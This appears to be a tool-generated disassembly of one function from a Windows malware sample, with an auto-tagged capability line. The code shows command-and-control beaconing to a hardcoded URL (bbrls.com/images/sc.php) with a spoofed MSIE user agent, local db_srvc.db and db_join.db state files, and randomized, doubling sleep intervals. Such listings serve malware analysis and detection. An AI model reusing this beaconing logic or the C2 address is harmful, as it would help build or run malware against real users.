Function at 0x411310
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x480183
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xfc
push edi
mov edi, ecx
mov dword [esp + 0x2c], edi
call fcn.00409570
test al, al
je 0x411364
mov eax, dword [edi + 0x1c]
push 1
push 0
push 0x404
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
pop edi
mov ecx, dword [esp + 0xfc]
mov dword fs:[0], ecx
add esp, 0x108
ret
lea ecx, [esp + 0x10]
call fcn.004633b0
mov eax, dword [0x4a6f44]
lea ecx, [esp + 0x10]
push 0xffffffffffffffff
push ecx
push eax
mov dword [esp + 0x114], 0
call fcn.00464870
add esp, 0xc
test al, al
jne 0x4113bb
lea ecx, [esp + 0x10]
mov dword [esp + 0x108], 0xffffffff
call fcn.004634a0
pop edi
mov ecx, dword [esp + 0xfc]
mov dword fs:[0], ecx
add esp, 0x108
ret
push ebx
push esi
call fcn.00425529
mov esi, eax
call fcn.00425529
imul esi, eax
call fcn.00425529
imul eax, esi
xor edx, edx
mov ecx, 0x32000
div ecx
lea ecx, [esp + 0x18]
add edx, 0x400
push edx
mov dword [esp + 0x30], edx
call fcn.00463910
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 0x18]
push edx
call fcn.004639a0
push str._db_join.db
lea eax, [esp + 0x10]
push 0x4a6f4c
push eax
call fcn.00462850
mov eax, dword [eax + 4]
lea ecx, [esp + 0x24]
push ecx
push eax
mov byte [esp + 0x124], 1
call fcn.00464900
add esp, 0x14
lea ecx, [esp + 0xc]
mov byte [esp + 0x110], 0
call fcn.00462600
mov eax, dword [0x4a7058]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
shl edx, 3
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x4a7058]
cmp eax, 0x10
jae 0x411466
shl eax, 1
mov dword [0x4a7058], eax
mov eax, dword [0x4a6f6c]
lea ecx, [esp + 0x3c]
push eax
push str._0.8x
push ecx
call fcn.00462520
push str._db_srvc.db
lea edx, [esp + 0x1c]
push 0x4a6f4c
push edx
mov byte [esp + 0x128], 2
call fcn.00462850
mov eax, dword [eax + 4]
lea ecx, [esp + 0x30]
push 0xffffffffffffffff
push ecx
push eax
mov byte [esp + 0x134], 3
call fcn.00464870
add esp, 0x24
lea ecx, [esp + 0xc]
mov bl, al
mov byte [esp + 0x110], 2
call fcn.00462600
test bl, bl
je 0x411554
push str._db_srvc.db
lea edx, [esp + 0x10]
push 0x4a6f4c
push edx
call fcn.00462850
mov eax, dword [eax + 4]
mov byte [esp + 0x11c], 4
push eax
call fcn.004645e0
add esp, 0x10
lea ecx, [esp + 0xc]
mov byte [esp + 0x110], 2
call fcn.00462600
push 0
lea ecx, [esp + 0x80]
mov byte [esp + 0x114], 5
call fcn.00466fc0
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
lea ecx, [esp + 0x84]
call fcn.00467020
push 0
lea ecx, [esp + 0x80]
call fcn.004670e0
push eax
lea ecx, [esp + 0x40]
call fcn.00462710
mov byte [esp + 0x110], 2
jmp 0x411562
push str.ffffffffffffffffffffffffffffffff
lea ecx, [esp + 0x40]
call fcn.00462710
call fcn.00435f10
lea ecx, [esp + 0x48]
mov esi, eax
call fcn.004633b0
mov eax, dword [str.http:__www.bbrls.com_images_sc.php_c]
mov byte [esp + 0x110], 6
test eax, eax
je 0x4116fd
mov edi, 0x484ba8
mov ebx, edi
mov edx, dword [edi]
push str..asp_
push edx
call fcn.004260f0
add esp, 8
test eax, eax
je 0x4115a9
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.1_
jmp 0x4115ae
push str.Mozilla_4.0__compatible__MSIE
push 0x2722
push esi
call fcn.00435f50
mov ecx, dword [edi]
add esp, 0xc
lea eax, [esp + 0x3c]
lea edx, [esp + 0xc]
push eax
push ecx
push edx
call fcn.00462820
mov eax, dword [eax + 4]
push eax
push 0x2712
push esi
call fcn.00435f50
add esp, 0x18
lea ecx, [esp + 0xc]
call fcn.00462600
mov eax, dword [edi]
push eax
call fcn.00468ff0
add esp, 4
test eax, eax
jl 0x4116e9
push 0x408fc0
push 0x4e2b
push esi
call fcn.00435f50
lea ecx, [esp + 0x54]
push ecx
push 0x2711
push esi
call fcn.00435f50
push esi
call fcn.00435f80
lea edx, [esp + 0x54]
push edx
push 0x200002
push esi
call fcn.00436080
mov eax, dword [esp + 0x60]
add esp, 0x28
cmp eax, 0xc8
jne 0x4116e1
mov eax, dword [esp + 0x50]
push str._db_srvc.db
test eax, eax
push 0x4a6f4c
jne 0x41168c
lea eax, [esp + 0x6c]
push eax
call fcn.00462850
mov eax, dword [eax + 4]
lea ecx, [esp + 0x24]
push ecx
push eax
mov byte [esp + 0x124], 7
call fcn.00464900
add esp, 0x14
lea ecx, [esp + 0x64]
mov byte [esp + 0x110], 6
call fcn.00462600
jmp 0x4116ce
lea edx, [esp + 0x78]
push edx
call fcn.00462850
mov eax, dword [eax + 4]
lea ecx, [esp + 0x54]
push ecx
push eax
mov byte [esp + 0x124], 8
call fcn.00464900
add esp, 0x14
lea ecx, [esp + 0x70]
mov byte [esp + 0x110], 6
call fcn.00462600
lea edx, [esp + 0x48]
lea ecx, [esp + 0x18]
push edx
call fcn.004634c0
lea eax, [esp + 0x18]
mov ecx, 0x4a7058
push eax
call fcn.0040a1b0
test al, al
jne 0x4116f9
mov dword [esp + 0x50], 0
mov eax, dword [ebx + 4]
add ebx, 4
test eax, eax
mov edi, ebx
jne 0x41158e
mov edi, dword [esp + 0x34]
push esi
call fcn.00436030
mov ecx, dword [edi + 0x1c]
add esp, 4
push 0
push 0
push 0x404
push ecx
call dword [sym.imp.USER32.dll_PostMessageA]
lea ecx, [esp + 0x48]
mov byte [esp + 0x110], 2
call fcn.004634a0
lea ecx, [esp + 0x3c]
mov byte [esp + 0x110], 0
call fcn.00462600
lea ecx, [esp + 0x18]
mov dword [esp + 0x110], 0xffffffff
call fcn.004634a0
mov ecx, dword [esp + 0x108]
pop esi
pop ebx
pop edi
mov dword fs:[0], ecx
add esp, 0x108
ret